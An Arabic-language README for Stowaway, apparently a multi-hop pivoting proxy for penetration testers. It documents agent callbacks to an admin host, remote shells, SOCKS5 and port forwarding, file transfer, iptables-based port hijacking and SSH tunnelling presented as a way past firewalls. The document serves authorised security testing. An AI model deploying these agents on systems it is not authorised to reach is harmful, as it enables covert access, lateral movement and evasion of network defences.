
أداة وكيل متعدد القفزات لاختبار الاختراق تتيح توجيه الحركة عبر عقد متعددة، نفق SOCKS5/SSH، إعادة توجيه المنافذ، شل عن بُعد، وتواصل مُشفر بين العقد.

Stowaway هي أداة وكيل متعدد المستويات مكتوبة بلغة Go، مصممة خصيصًا لمتخصصي اختبار الاختراق.
يمكن للمستخدمين استخدام هذا البرنامج لتوجيه حركة المرور الخارجية عبر عقد متعددة إلى الشبكة الداخلية، وتجاوز قيود الوصول إلى الشبكة الداخلية، وبناء شبكة عقدة شجرية، وتحقيق وظائف الإدارة بسهولة.
شكرًا لكم جميعًا على نجومكم، ونرحب باستخدام الأداة والإبلاغ عن المشكلات و الأخطاء 😘
يرجى قراءة تعليمات الاستخدام والملاحظات في نهاية المستند بعناية قبل الاستخدام.
يُستخدم هذا المشروع فقط لأغراض أمن الشبكات والتدريس، ويُحظر تمامًا استخدامه لأي أغراض غير قانونية. تأكد من الحصول على إذن صريح من النظام المستهدف قبل إجراء أي اختبار باستخدام هذه الأداة، والالتزام بالقوانين واللوائح المحلية في بلدك/منطقتك. أي عواقب مباشرة أو غير مباشرة (بما في ذلك على سبيل المثال لا الحصر: فقدان البيانات، تلف النظام، المسؤولية القانونية) الناتجة عن استخدام هذه الأداة تكون على مسؤولية المستخدم. المؤلف لا يتحمل أي مسؤولية عن أي إساءة استخدام أو عواقب قانونية ناتجة عنها. استخدام هذه الأداة يعني أنك قد قرأت وفهمت ووافقت على جميع محتويات إخلاء المسؤولية هذا.
make لتجميع البرنامج الكامل لمنصات متعددة مباشرة، أو راجع Makefile لتجميع برنامج معين.يتكون Stowaway من دورين:
admin الطرف المدير الذي يستخدمه مخترق الاختبار.agent الطرف المُدار الذي ينشره مخترق الاختبار.يمكن للأوامر التالية بدء تشغيل أبسط مثيل لـ Stowaway بسرعة.
./stowaway_admin -l 9999./stowaway_agent -c <IP_admin>:9999المعلمات:
-l عنوان الاستماع في الوضع السلبي [ip]:<port>
-s مفتاح تشفير اتصال العقد، يجب أن يكون متطابقًا لجميع العقد (admin && agent).
-c عنوان العقدة الهدف في الوضع النشط.
--socks5-proxy عنوان خادم وكيل socks5.
--socks5-proxyu اسم مستخدم خادم وكيل socks5 (اختياري).
--socks5-proxyp كلمة مرور خادم وكيل socks5 (اختياري).
--http-proxy عنوان خادم وكيل HTTP.
--down نوع بروتوكول المنبع السفلي، افتراضيًا هو حركة TCP الخام، اختياريًا HTTP/WS.
--tls-enable تفعيل TLS لاتصال العقدة. عند تفعيل TLS، سيتم تعطيل تشفير AES.
--domain تحديد اسم مجال SNI لـ TLS / WebSocket. إذا كان فارغًا، فسيتم استخدام عنوان العقدة الهدف افتراضيًا.
--heartbeat تفعيل حزم نبضات القلب.
المعلمات:
-l عنوان الاستماع في الوضع السلبي [ip]:<port>
-s مفتاح تشفير اتصال العقد.
-c عنوان العقدة الهدف في الوضع النشط.
--socks5-proxy عنوان خادم وكيل socks5.
--socks5-proxyu اسم مستخدم خادم وكيل socks5 (اختياري).
--socks5-proxyp كلمة مرور خادم وكيل socks5 (اختياري).
--http-proxy عنوان خادم وكيل HTTP.
--reconnect فترة إعادة الاتصال بالثواني.
--rehost عنوان IP المعاد استخدامه عند إعادة استخدام المنفذ.
--report رقم المنفذ المعاد استخدامه عند إعادة استخدام المنفذ.
--up نوع بروتوكول المنبع العلوي، افتراضيًا هو حركة TCP الخام، اختياريًا HTTP/WS.
--down نوع بروتوكول المنبع السفلي، افتراضيًا هو حركة TCP الخام، اختياريًا HTTP/WS.
--cs نوع ترميز shell للنظام الأساسي، افتراضيًا utf-8، اختياريًا gbk.
--tls-enable تفعيل TLS لاتصال العقدة. عند تفعيل TLS، سيتم تعطيل تشفير AES.
--domain تحديد اسم مجال SNI لـ TLS / WebSocket. إذا كان فارغًا، فسيتم استخدام عنوان العقدة الهدف افتراضيًا.
يستخدم هذا المعامل بنفس الطريقة لكل من admin و agent، ويستخدم فقط في الوضع السلبي.
إذا لم يتم تحديد عنوان IP، فسيتم الاستماع افتراضيًا على 0.0.0.0.
./stowaway_admin -l 9999 أو ./stowaway_admin -l 127.0.0.1:9999./stowaway_agent -l 9999 أو ./stowaway_agent -l 127.0.0.1:9999يستخدم هذا المعامل بنفس الطريقة لكل من admin و agent، ويمكن استخدامه في الوضعين النشط والسلبي.
اختياري. إذا كان فارغًا، فهذا يعني أن الاتصال غير مشفر. وإلا، فسيتم تشفير الاتصال باستخدام المفتاح الذي يقدمه المستخدم.
./stowaway_admin -l 9999 -s 123./stowaway_agent -l 9999 -s 123يستخدم هذا المعامل بنفس الطريقة لكل من admin و agent، ويستخدم فقط في الوضع النشط.
يمثل عنوان العقدة التي يرغب المستخدم في الاتصال بها.
./stowaway_admin -c 127.0.0.1:9999./stowaway_agent -c 127.0.0.1:9999تُستخدم هذه المعاملات الأربعة بنفس الطريقة لكل من admin و agent، وتُستخدم فقط في الوضع النشط.
--socks5-proxy يمثل عنوان خادم وكيل socks5، --socks5-proxyu و --socks5-proxyp اختياريان.
--http-proxy يمثل عنوان خادم وكيل HTTP، بنفس طريقة استخدام socks5.
بدون اسم مستخدم وكلمة مرور:
./stowaway_admin -c 127.0.0.1:9999 --socks5-proxy xxx.xxx.xxx.xxx./stowaway_agent -c 127.0.0.1:9999 --socks5-proxy xxx.xxx.xxx.xxxمع اسم مستخدم وكلمة مرور:
./stowaway_admin -c 127.0.0.1:9999 --socks5-proxy xxx.xxx.xxx.xxx --socks5-proxyu xxx --socks5-proxyp xxx./stowaway_agent -c 127.0.0.1:9999 --socks5-proxy xxx.xxx.xxx.xxx --socks5-proxyu xxx --socks5-proxyp xxxيُستخدمان هذان المعاملان بنفس الطريقة لكل من admin و agent، ويمكن استخدامهما في الوضعين النشط والسلبي.
لكن لاحظ أنه لا يوجد معامل --up في admin.
هذان المعاملان اختياريان. إذا كانا فارغين، فهذا يعني أن حركة المرور العلوية / السفلية هي حركة TCP خام.
إذا كنت ترغب في أن تكون حركة المرور العلوية / السفلية من نوع HTTP / WS، فاضبط هذين المعاملين على http أو ws.
./stowaway_admin -c 127.0.0.1:9999 --down ws./stowaway_agent -c 127.0.0.1:9999 --up ws أو ./stowaway_agent -c 127.0.0.1:9999 --up ws --down wsهناك نقطتان يجب ملاحظتهما:
أولاً، عند تعيين حركة المرور العلوية / السفلية لعقدة معينة على TCP / HTTP / WS، يجب أن تكون حركة المرور السفلية / العلوية للعقدة الأصلية / الفرعية المتصلة بها متطابقة، كما يلي:
./stowaway_admin -c 127.0.0.1:9999 --down ws./stowaway_agent -l 9999 --up wsفي هذه الحالة، يجب على agent تعيين --up إلى ws، وإلا سيحدث خطأ في الشبكة.
ينطبق الشيء نفسه بين agents.
افترض أن agent-1 يستمع على المنفذ 127.0.0.1:10000 وينتظر اتصال العقدة الفرعية، وقد تم تعيين --down ws.
يجب على agent-2 أيضًا تعيين --up إلى ws، وإلا سيحدث خطأ في الشبكة.
./stowaway_agent -c 127.0.0.1:10000 --up wsثانيًا، نظرًا لأن HTTP هو بروتوكول نصف مزدوج، فهو غير مناسب تمامًا لطبيعة الاتصال الكامل المزدوج لـ Stowaway. لذلك، يقوم تنفيذ HTTP هنا فقط بتنسيق رسائل HTTP وليس سير عمل HTTP كامل الوظائف. لا يزال بإمكانك استخدام هذا البروتوكول، لكن حركة المرور بين Stowaway عند اختيار تنسيق رسالة HTTP لا يمكن إعادة توجيهها عبر nginx. تم الاحتفاظ بهذا الجزء من الكود والوظائف من ناحية لاستخدام HTTP في حالات معينة، ومن ناحية أخرى لتوفير قالب لحركة مرور مخصصة يمكن للمستخدمين الرجوع إليه عند تخصيص البروتوكولات.
إذا كنت بحاجة إلى إعادة توجيه عبر nginx وما شابه، فاستخدم بروتوكول ws مع TLS للاتصال.
يُستخدم هذا المعامل فقط في agent، ويُستخدم فقط في الوضع النشط.
اختياري. إذا لم يتم تعيينه، فلن تحاول العقدة إعادة الاتصال بعد قطع الاتصال بالشبكة. إذا تم تعيينه، فستحاول العقدة إعادة الاتصال بالعقدة الأم كل x ثانية (عدد الثواني الذي تحدده).
./stowaway_admin -l 9999./stowaway_agent -c 127.0.0.1:9999 --reconnect 10في هذه الحالة، إذا تم قطع الاتصال بين agent و admin، سيحاول agent إعادة الاتصال بـ admin كل عشر ثوانٍ.
ينطبق الشيء نفسه بين agents.
يمكن استخدام معامل --reconnect مع --socks5-proxy / --socks5-proxyu / --socks5-proxyp / --http-proxy. سيحاول agent إعادة الاتصال عبر الوكيل باستخدام الإعدادات عند بدء التشغيل.
هذان المعاملان خاصان، ويُستخدمان فقط في agent. راجع آلية إعادة استخدام المنفذ أدناه للحصول على التفاصيل.
يُستخدم هذا المعامل فقط في agent، ويمكن استخدامه في كل من الوضعين النشط والسلبي.
يهدف بشكل أساسي إلى حل مشكلة الأحرف المشوشة في وظيفة 'shell'. عندما يعمل agent على نظام أساسي بترميز وحدة التحكم gbk (على سبيل المثال، Windows عادةً) ويعمل admin على نظام أساسي بترميز utf-8، فيجب تعيين هذا المعامل على 'gbk'.
./stowaway_agent -c 127.0.0.1:9999 -s 123 --cs gbkيُستخدم هذان المعاملان بنفس الطريقة لكل من admin و agent، ويمكن استخدامهما في كل من الوضعين النشط والسلبي.
من خلال تعيين هذا الخيار، يمكن تشفير حركة المرور بين العقد باستخدام TLS.
مثال:
./stowaway_admin -l 10000 --tls-enable -s 123./stowaway_agent -c localhost:10000 --tls-enable -s 123لاحظ أنه عند تمكين هذا المعامل، سيتم تعطيل تشفير AES افتراضيًا. سيتم استخدام معامل -s فقط للمصادقة المتبادلة بين العقد ووظيفة إعادة استخدام المنفذ.
أيضًا، عند تمكين هذا المعامل، تأكد من تمكين هذا المعامل في كل عقدة (بما في ذلك admin) في الشبكة.
يُستخدم هذان المعاملان بنفس الطريقة لكل من admin و agent، ويمكن استخدامهما فقط في الوضع النشط.
من خلال تعيين هذا الخيار، يمكن تعيين خيار SNI لمفاوضات TLS أو المضيف الهدف لـ WebSocket لهذه العقدة الحالية.
مثال:
./stowaway_admin -l 10000 --tls-enable -s 123./stowaway_agent -c xxx.xxx.xxx.xxx:10000 --tls-enable -s 123 --domain xxx.comيُستخدم هذا المعامل فقط في admin، ويمكن استخدامه في كل من الوضعين النشط والسلبي.
من خلال تعيين هذا الخيار، يمكن لـ admin إرسال حزم نبضات القلب باستمرار إلى العقدة الأولى، وبالتالي الحفاظ على الاتصال الطويل في حالة وجود وكيل عكسي في المنتصف.
افترض وجود جهاز وكيل عكسي مثل nginx بين admin و agent يقوم بتوجيه المنفذ 8080 إلى المنفذ 8000. مثال:
./stowaway_admin -l 8000 --tls-enable -s 123 --down ws --heartbeat./stowaway_agent -c xxx.xxx.xxx.xxx:8080 --tls-enable -s 123 --domain xxx.com --up wsيوفر Stowaway حاليًا وظيفة إعادة استخدام المنفذ بناءً على ميزات SO_REUSEPORT و SO_REUSEADDR، ووظيفة إعادة استخدام المنفذ بناءً على IPTABLES.
وضع SO_REUSEPORT و SO_REUSEADDR
افترض أن agent يستخدم آلية إعادة استخدام المنفذ لإعادة استخدام المنفذ 80.
في هذه الحالة، يجب على agent تعيين معاملات --rehost و --report و -s.
--rehost: يمثل عنوان IP الذي ترغب في إعادة استخدامه، ولا يمكن أن يكون 0.0.0.0، وعادةً ما يكون عنوانًا خارجيًا لبطاقة الشبكة.--report: يمثل المنفذ الذي ترغب في إعادة استخدامه.-s: يمثل مفتاح الاتصال.يدعم بشكل رئيسي إعادة الاستخدام على بيئات Windows و Mac، ويدعم Linux أيضًا ولكن مع قيود أكثر.
./stowaway_admin -c 192.168.0.105:80 -s 123./stowaway_agent --report 80 --rehost 192.168.0.105 -s 123وضع IPTABLES
افترض أن agent يستخدم آلية إعادة استخدام المنفذ لإعادة استخدام المنفذ 22.
في هذه الحالة، يجب على agent تعيين معاملات -l و --report و -s.
الأمثلة أعلاه توضح فقط الاتصال بين admin و agent. الاتصال بين agent و agent مشابه، ولا يوجد فرق.
إذا تم قتل agent باستخدام ctrl-c أو kill، فسيقوم البرنامج تلقائيًا بتنظيف قواعد iptables. ولكن إذا تم قتله بـ kill -9، فلن يتم التنظيف تلقائيًا.
لذلك، لمنع عدم تنظيف قواعد iptables بعد خروج غير طبيعي للـ agent مما يتسبب في عدم إمكانية الوصول إلى الخدمة المُعاد استخدامها،
عند الحاجة إلى الإغلاق، قم بتشغيل: python reuse.py --stop --rhost xxx.xxx.xxx.xxx --rport xxx
سيؤدي هذا إلى إيقاف تشغيل قواعد إعادة التوجيه، مما يسمح بالوصول إلى الخدمة الأصلية بشكل طبيعي.
إذا كنت تستخدم وضع IPTABLES لإعادة استخدام المنفذ، فسيتم فرض الاستماع على 0.0.0.0، ولا يمكن تحديد عنوان IP باستخدام معامل -l.
من الأمثلة أعلاه، نرى أن admin و agent واحد فقط يظهران.
والشبكة متعددة المستويات هي جوهر Stowaway.
في Stowaway، يتطلب تكوين شبكة متعددة المستويات استخدام أوامر listen و connect و sshtunnel في admin.
مثال بسيط:
./stowaway_admin -l 9999 -s 123في هذه المرحلة، يكون agent-1 قد اتصل بـ admin.
./stowaway_agent -c 127.0.0.1:9999 -s 123يريد المستخدم الآن توصيل agent-2، كما يلي:
./stowaway_agent -l 10000 -s 123عندها، يمكن للمستخدم من خلال admin كتابة use 0 -> connect <IP_agent-2>:10000 لإضافته إلى الشبكة، وجعله عقدة فرعية لـ agent-1.
افترض أن المستخدم يريد أيضًا توصيل عقدة agent-3، لكن لا يمكن الوصول إلى agent-3 عبر agent-1.
عندها، يمكن للمستخدم من خلال admin كتابة use 0 -> listen -> اختيار 1.Normal Passive -> إدخال 10001 لجعل agent-1 يستمع على المنفذ 10001 وينتظر اتصال العقدة الفرعية.
بعد أن يكمل admin العملية، يتم تشغيل agent-3 كما يلي:
./stowaway_agent -c 127.0.0.1:10001 -s 123بهذه الطريقة، يمكن إضافة agent-3 كعقدة فرعية أخرى لـ agent-1 إلى الشبكة.
للحصول على شرح مفصل لـ listen و sshtunnel، راجع شرح الأوامر أدناه.
يدعم Stowaway حاليًا طرقًا متعددة لإعادة الاتصال، ملخصة كالتالي:
أولاً، عندما تنقطع العقدة الأم، لن تخرج إلا العقدة التي بدأت في الوضع النشط ولم يتم تعيين إعادة الاتصال.
إذا تم تعيين إعادة الاتصال، فستحاول العقدة إعادة الاتصال بالفاصل الزمني المحدد.
بالإضافة إلى ذلك، لن تخرج العقد التي بدأت في الوضع السلبي من تلقاء نفسها، بل ستعيد الاستماع على المنفذ المحدد بناءً على معاملات بدء التشغيل. في هذه الحالة، لا يزال بإمكان المستخدم استخدام connect أو sshtunnel لتوصيل هذه العقد مرة أخرى بالشبكة.
إذا انقطعت إحدى الفروع بسبب تقلب الشبكة أو انقطاع عقدة وسيطة، فيجب عند إعادة الاتصال النشط توصيل العقدة الرأسية للسلسلة المفقودة. على سبيل المثال، بعد admin يأتي node1، ثم يتفرع node1 إلى فرعين: node1->node2->node3->node4، و node1->node5->node6. إذا انقطع node2، فلن تنقطع node3 و node4 بل ستستمر في البقاء على قيد الحياة. في هذه الحالة، إذا أراد المستخدم إعادة توصيل node3 و node4 بالشبكة، فهناك خياران: الأول، إذا كان node1 يمكنه الوصول إلى node3 مباشرة، يمكن للمستخدم في أي وقت في node1 استخدام الأمر connect أو sshtunnel لإعادة توصيل node3 بالشبكة (تذكر، حتى لو كان node1 يمكنه أيضًا الوصول إلى node4، يرجى عدم توصيل node4 مباشرة، بل قم بتوصيل العقدة الرأسية للسلسلة المفقودة (node3->node4) وهي node3)، وبهذه الطريقة يمكن إعادة توصيل node3 و node4 بالشبكة. الخيار الآخر، إذا كان node1 لا يمكنه الوصول إلى node3 مباشرة (أي يجب أن يمر عبر node2)، فيجب أولاً إعادة تشغيل node2 وإضافته إلى الشبكة، ثم استخدام الأمر connect أو sshtunnel في node2 لتوصيل node3، وبالتالي إضافة node3 و node4 إلى الشبكة.
عند انقطاع عقدة، سيتم إيقاف جميع خدمات socks و backward و forward المتعلقة بهذه العقدة وعقدها الفرعية قسرًا.
في وحدة تحكم admin، يمكن للمستخدم استخدام Tab لإكمال الأوامر، وأسهم الاتجاهات للبحث في السجل / تحريك المؤشر.
تنقسم وحدة تحكم admin إلى مستويين. المستوى الأول هو اللوحة الرئيسية، وتحتوي على الأوامر التالية:
help: عرض معلومات المساعدة للوحة الرئيسية.(admin) >> help
help عرض معلومات المساعدة
detail عرض تفاصيل العقد المتصلة
topo عرض طوبولوجيا العقد
use <id> تحديد العقدة الهدف التي تريد استخدامها
exit الخروج من Stowaway
detail: عرض معلومات مفصلة عن العقد المتصلة حاليًا.(admin) >> detail
Node[0] -> IP: 127.0.0.1:10000 Hostname: ph4ntoms-MBP.lan User: ph4ntom
Memo:
topo: عرض علاقات الأبوة بين العقد المتصلة.(admin) >> topo
Node[0]'s children ->
Node[1]
Node[1]'s children ->
use: استخدام agent معين.(admin) >> use 0
(node 0) >>
exit: الخروج من Stowaway.(admin) >> exit
[*] هل تريد حقًا الخروج من Stowaway؟(y/n): y
[*] مع السلامة!
عندما يستخدم المستخدم الأمر use لتحديد agent ما، فإنه يدخل المستوى الثاني وهو لوحة العقدة، وتحتوي على الأوامر التالية:
help: عرض معلومات المساعدة للوحة العقدة.(node 0) >> help
help عرض معلومات المساعدة
status عرض حالة العقدة، بما في ذلك socks/forward/backward
listen بدء الاستماع على المنفذ في العقدة الحالية
addmemo <string> إضافة مذكرة للعقدة الحالية
delmemo حذف مذكرة العقدة الحالية
ssh <ip:port> بدء SSH عبر العقدة الحالية
shell بدء شل تفاعلي على العقدة الحالية
socks <lport> [username] [pass] بدء خادم socks5
stopsocks إيقاف خدمات socks
connect <ip:port> الاتصال بعقدة جديدة
sshtunnel <ip:sshport> <agent port> استخدام نفق SSH لإضافة العقدة إلى طوبولوجيا الشبكة
upload <local filename> <remote filename> تحميل ملف إلى العقدة الحالية
download <remote filename> <local filename> تنزيل ملف من العقدة الحالية
forward <lport> <ip:port> تعيين المنفذ المحلي إلى عنوان IP:منفذ بعيد محدد
stopforward إيقاف خدمات forward
backward <rport> <lport> تعيين المنفذ البعيد (agent) إلى المنفذ المحلي (admin) بشكل عكسي
stopbackward إيقاف خدمات backward
shutdown إنهاء العقدة الحالية
back العودة إلى اللوحة الرئيسية
exit الخروج من Stowaway
status: عرض حالة socks/forward/backward للعقدة الحالية.(node 0) >> status
Socks status:
ListenAddr: 0.0.0.0:10000 Username: Password:
-------------------------------------------------------------------------------------------
Forward status:
[1] Listening Addr: [::]:20000 , Remote Addr: 192.168.1.1:22 , Active Connections: 0
[2] Listening Addr: [::]:30000 , Remote Addr: 192.168.1.1:22 , Active Connections: 0
-------------------------------------------------------------------------------------------
Backward status:
[1] Remote Port: 40000 , Local Port: 50000 , Active Connections: 0
listen: أمر العقدة بالاستماع على منفذ معين وانتظار اتصال العقدة الفرعية.(node 0) >> listen
[*] تنبيه! إذا اخترت إعادة استخدام IPTables أو SOReuse، فيجب عليك التأكد من أن العقدة قد بدأت في البداية بالطريقة المقابلة!
[*] عند اختيار إعادة استخدام IPTables أو SOReuse، ستستخدم العقدة التكوين الأولي (عند بدء العقدة) لإعادة استخدام المنفذ!
[*] يرجى اختيار الوضع (1. سلبي عادي / 2. إعادة استخدام IPTables / 3. إعادة استخدام SOReuse): 1
[*] يرجى إدخال [ip:]<port> : 10001
[*] في انتظار الاستجابة...
[*] العقدة تستمع الآن على المنفذ 10001
لاحظ أن listen هو أمر خاص نسبيًا. كما ترى، يحتوي listen على ثلاثة أوضاع:
Normal passive: يعني هذا الخيار أن العقدة ستستمع على المنفذ الهدف بالطريقة العادية، وستنتظر اتصال العقدة الفرعية.IPTables Reuse: يعني هذا الخيار أن العقدة ستستخدم إعادة استخدام IPTables لإعادة استخدام المنفذ، وستنتظر اتصال العقدة الفرعية.SOReuse: يعني هذا الخيار أن العقدة ستستخدم إعادة استخدام SOReuse لإعادة استخدام المنفذ، وستنتظر اتصال العقدة الفرعية.الوضع الأول هو الأكثر استخدامًا. إذا استمعت العقدة الأم بهذه الطريقة، فكل ما تحتاجه العقدة الفرعية هو -c <ip_العقدة_الأم>:<port> للانضمام إلى الشبكة.
الوضعين الثاني والثالث خاصان. إذا اختار المستخدم الوضع الثاني أو الثالث، فيجب على المستخدم التأكد من أن العقدة الحالية قد بدأت بالفعل باستخدام إعادة استخدام المنفذ، وإلا فلن يعمل هذان الوضعان.
في الوضعين الثاني والثالث، لن يحتاج المستخدم إلى إدخال أي معلومات؛ ستستخدم العقدة تلقائيًا معاملات بدء التشغيل الخاصة بها لإعادة استخدام المنفذ والاستعداد لقبول اتصال العقدة الفرعية.
بالإضافة إلى ذلك، يمكن لـ listen قبول اتصال عقدة فرعية واحدة فقط في كل مرة. إذا كانت هناك حاجة إلى توصيل عدة عقد فرعية، فيجب تنفيذ أمر listen بعدد المرات المناسب.
addmemo: إضافة مذكرة للعقدة الحالية.(node 0) >> addmemo test
[*] تمت إضافة المذكرة!
(node 0) >> exit
(admin) >> detail
Node[0] -> IP: 127.0.0.1:10000 Hostname: ph4ntoms-MBP.lan User: ph4ntom
Memo: test
delmemo: حذف مذكرة العقدة الحالية.(node 0) >> delmemo
[*] تم حذف المذكرة!
(node 0) >> exit
(admin) >> detail
Node[0] -> IP: 127.0.0.1:10000 Hostname: ph4ntoms-MBP.lan User: ph4ntom
Memo:
ssh: أمر العقدة بالاتصال بالجهاز الهدف عبر SSH.(node 0) >> ssh 127.0.0.1:22
[*] يرجى اختيار طريقة المصادقة (1. اسم مستخدم && كلمة مرور / 2. شهادة): 1
[*] يرجى إدخال اسم المستخدم: ph4ntom
[*] يرجى إدخال كلمة المرور: *****
[*] في انتظار الاستجابة...
[*] تم الاتصال بالمضيف الهدف عبر SSH بنجاح!
# ph4ntom @ ph4ntoms-MBP in ~ 👑 [17:03:56]
$ whoami
ph4ntom
# ph4ntom @ ph4ntoms-MBP in ~ 👑 [17:04:16]
$
في هذا الوضع، سيتم تعطيل مفتاح Tab.
shell: الحصول على شل العقدة الحالية.(node 0) >> shell
[*] في انتظار الاستجابة...
[*] تم بدء تشغيل الشل بنجاح!
bash: no job control in this shell
The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
bash-3.2$ whoami
ph4ntom
bash-3.2$
في هذا الوضع، سيتم تعطيل مفتاح Tab.
socks: بدء خدمة socks5 على العقدة الحالية.(node 0) >> socks 7777
[*] محاولة الاستماع على 0.0.0.0:7777......
[*] في انتظار الاستجابة...
[*] تم بدء تشغيل Socks بنجاح!
(node 0) >>
لاحظ أن المنفذ 7777 هنا لا يُفتح على agent، بل على admin.
إذا كنت بحاجة إلى تعيين اسم مستخدم وكلمة مرور، يمكن تغيير الأمر أعلاه إلى socks 7777 <your username> <your password>.
إذا كنت بحاجة إلى تحديد واجهة الاستماع، يمكن تغيير الأمر إلى socks xxx.xxx.xxx.xxx:7777.
stopsocks: إيقاف خدمة socks5 على العقدة الحالية.(node 0) >> stopsocks
Socks Info ---> ListenAddr: 0.0.0.0:7777 Username: <null> Password: <null>
[*] هل تريد حقًا إيقاف خدمة socks؟(yes/no): yes
[*] جارٍ الإغلاق...
[*] تم إغلاق خدمة Socks بنجاح!
(node 0) >>
connect: أمر العقدة الحالية بالاتصال بعقدة فرعية أخرى.agent-1: ./stowaway_agent -l 10002
(node 0) >> connect 127.0.0.1:10002
[*] في انتظار الاستجابة...
[*] عقدة جديدة متصلة! معرف العقدة هو 1
(node 0) >>
sshtunnel: أمر العقدة الحالية بالاتصال بعقدة فرعية أخرى عبر نفق SSH.agent-2: ./stowaway_agent -l 10003
(node 0) >> sshtunnel 127.0.0.1:22 10003
[*] يرجى اختيار طريقة المصادقة (1. اسم مستخدم && كلمة مرور / 2. شهادة): 1
[*] يرجى إدخال اسم المستخدم: ph4ntom
[*] يرجى إدخال كلمة المرور: ******
[*] في انتظار الاستجابة...
[*] عقدة جديدة متصلة! معرف العقدة هو 2
(node 0) >>
في بيئة الشبكة المقيدة بشدة، يمكن استخدام نفق SSH لإخفاء حركة مرور Stowaway كحركة مرور SSH، وبالتالي تجاوز قيود جدار الحماية.
upload: تحميل ملف إلى العقدة الحالية.(node 0) >> upload test.7z test.xxx
[*] جارٍ نقل الملف، يرجى الانتظار...
136.07 KiB / 136.07 KiB [-----------------------------------------------------------------------------------] 100.00% ? p/s 0s
download: تنزيل ملف من العقدة الحالية.(node 0) >> download test.xxx test.xxxx
[*] جارٍ نقل الملف، يرجى الانتظار...
136.07 KiB / 136.07 KiB [-----------------------------------------------------------------------------------] 100.00% ? p/s 0s
forward: تعيين منفذ على admin إلى منفذ بعيد.(node 0) >> forward 9000 127.0.0.1:22
[*] محاولة الاستماع على 0.0.0.0:9000......
[*] في انتظار الاستجابة...
[*] تم بدء تشغيل Forward بنجاح!
(node 0) >>
$ ssh 127.0.0.1 -p 9000
Password:
# ph4ntom @ ph4ntoms-MBP in ~ 👑 [17:19:51]
$
stopforward: إيقاف تعيين المنفذ البعيد للعقدة الحالية.(node 0) >> stopforward
[0] الكل
[1] Listening Addr : [::]:9000 , Remote Addr : 127.0.0.1:22 , Active Connections : 1
[*] هل تريد حقًا إيقاف Forward؟(yes/no): yes
[*] يرجى اختيار واحد للإيقاف: 1
[*] جارٍ الإغلاق...
[*] تم إغلاق خدمة Forward بنجاح!
backward: تعيين منفذ على agent إلى منفذ محلي على admin بشكل عكسي.(node 0) >> backward 9001 22
[*] محاولة طلب العقدة بالاستماع على 0.0.0.0:9001......
[*] في انتظار الاستجابة...
[*] تم بدء تشغيل Backward بنجاح!
(node 0) >>
$ ssh 127.0.0.1 -p 9001
Password:
# ph4ntom @ ph4ntoms-MBP in ~ 🌈 [17:22:14]
$
stopbackward: إيقاف التعيين العكسي للعقدة الحالية.(node 0) >> stopbackward
[0] الكل
[1] Remote Port : 9001 , Local Port : 22 , Active Connections : 1
[*] هل تريد حقًا إيقاف Backward؟(yes/no): yes
[*] يرجى اختيار واحد للإيقاف: 1
[*] جارٍ الإغلاق...
[*] تم إغلاق خدمة Backward بنجاح!
shutdown: أمر العقدة الحالية بالخروج.(node 1) >> shutdown
[*] تم خروج العقدة 1!
back: العودة إلى اللوحة الرئيسية.(node 1) >> back
(admin) >>
exit: الخروج من Stowaway.(node 1) >> exit
[*] هل تريد حقًا الخروج من Stowaway؟(y/n): y
[*] مع السلامة!
ansicon.exe -i. وإلا، فقد تظهر أحرف مشوشة في admin.UDP ASSOCIATE القياسي بناءً على RFC1928. يرجى الانتباه عند استخدام وكيل socks5 UDP (على سبيل المثال، الماسحات الضوئية)، يجب أن يتوافق بناء الحزمة مع RFC1928 القياسي، ويجب معالجة فقدان الحزم بنفسك.
انضم Stowaway الآن إلى مشروع 404 StarLink
شكرًا للأساتذة والمشاريع التالية على مساعدتهم أثناء تطوير Stowaway:
-l: يمثل المنفذ الذي لا يمكن الوصول إليه بشكل طبيعي، وهو المنفذ الذي تريد حقًا أن يستمع عليه agent ويقبل الاتصالات.--report: يمثل المنفذ الذي ترغب في إعادة استخدامه.-s: يمثل مفتاح الاتصال.يدعم فقط إعادة الاستخدام على بيئة Linux. سيقوم agent بتعديل IPTABLES تلقائيًا، ويتطلب صلاحيات root.
agent: ./stowaway_agent --report 22 -l 10000 -s 123
بعد بدء agent، استخدم reuse.py في دليل script.
قم أولاً بتعيين قيمة SECRET (قيمة SECRET هي مفتاح الاتصال الذي تم تعيينه عند بدء تشغيل كل عقدة).
ثم قم بتنفيذ: python reuse.py --start --rhost xxx.xxx.xxx.xxx --rport xxx
--rhost: يمثل عنوان agent.--rport: يمثل المنفذ المُعاد استخدامه، في هذا المثال يجب أن يكون 22.عندها يمكن لـ admin الاتصال: ./stowaway_admin -c 192.168.0.105:22 -s 123